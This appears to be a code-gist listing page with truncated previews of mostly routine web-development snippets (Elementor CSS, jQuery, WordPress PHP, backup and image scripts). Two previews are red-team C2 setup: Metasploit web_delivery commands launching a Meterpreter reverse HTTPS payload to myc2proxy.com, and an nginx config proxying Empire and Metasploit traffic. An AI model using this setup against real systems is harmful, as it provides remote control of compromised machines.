View replace-hamburger-icon-with-text.css
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Use "Menu" for mobile menu */ | |
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar{ | |
display: flex; | |
padding: 6px; | |
} | |
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar:before{ | |
content: 'Menu'; | |
font-family: Roboto; | |
font-size: 18px; | |
} |
View close-tabs-on-mobile.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let intViewportWidth = window.innerWidth; | |
console.log('🔔 intViewportWidth = ', intViewportWidth ); | |
const activeClass = 'ele-active'; | |
const mobileBreakpoint = '767'; // Our breakpoint ensures this code only runs on small screens. | |
const mobileTabButtons = document.querySelectorAll('.elementor-tab-mobile-title'); | |
if( intViewportWidth <= mobileBreakpoint ){ | |
/** | |
* Click handling for Tab buttons. |
View uber-log.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Enhanced logging. | |
* | |
* @param string $message The log message | |
*/ | |
if( ! function_exists( 'uber_log' ) ){ | |
function uber_log( $message = null ){ | |
static $counter = 1; |
View hidpi-email-header-image.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Functions\htmlemail; | |
/** | |
* Filters the WP HTML Email header | |
* | |
* The following works with a graphic sized at 1200x300px. The | |
* final display is shown @2X pixel density as the image is | |
* scaled down to 600x150px. |
View launcher-commands.code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use exploit/multi/script/web_delivery | |
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery | |
set DisablePayloadHandler true | |
set SSL True | |
set TARGET 2 | |
set payload windows/x64/meterpreter/reverse_https | |
set LHOST myc2proxy.com | |
set LPORT 443 | |
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned | |
run -j |
View multi-user-nginx-http-proxy.conf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Analyst 1 | |
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ { | |
proxy_redirect off; | |
#Empire | |
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ { | |
proxy_pass https://205.232.71.92:443; | |
} | |
#Metasploit | |
location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ { | |
#Metasploit exploit/multi/script/web_delivery |
View hidetext.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function($){ | |
function hideText( textselector, strlen, moretext ){ | |
strlen = typeof strlen !== 'undefined' ? strlen : 100; | |
moretext = typeof moretext !== 'undefined' ? moretext : 'Read More'; | |
var sections = $( textselector ); | |
for(var i = 0; i < sections.length; i++ ){ | |
console.log( sections[i] ); | |
var textToHide = $( sections[i] ).html(); | |
var textToCheck = $( sections[i] ).text().substring(strlen); |
View dropbox-uploader-backups-with-deletion.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Dropbox Config | |
dropboxconfig=".dropbox_uploader" | |
# Database Credentials | |
dbuser="" | |
dbpass="" | |
dbname="" | |
# Other options |
View resize-images.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Credit: http://unix.stackexchange.com/questions/38943/use-mogrify-to-resize-large-files-while-ignoring-small-ones | |
identify -format '%w %h %i\n' ./*.jpg | | |
awk '$1 > 1200 || $2 > 1200 {sub(/^[^ ]* [^ ]* /, ""); print}' | | |
tr '\n' '\0' | | |
xargs -0 mogrify -quality 55 -resize '1200x1200' |
View htaccess-http-to-https
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# http to https | |
RewriteEngine On | |
RewriteCond %{HTTPS} !=on | |
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L] |
NewerOlder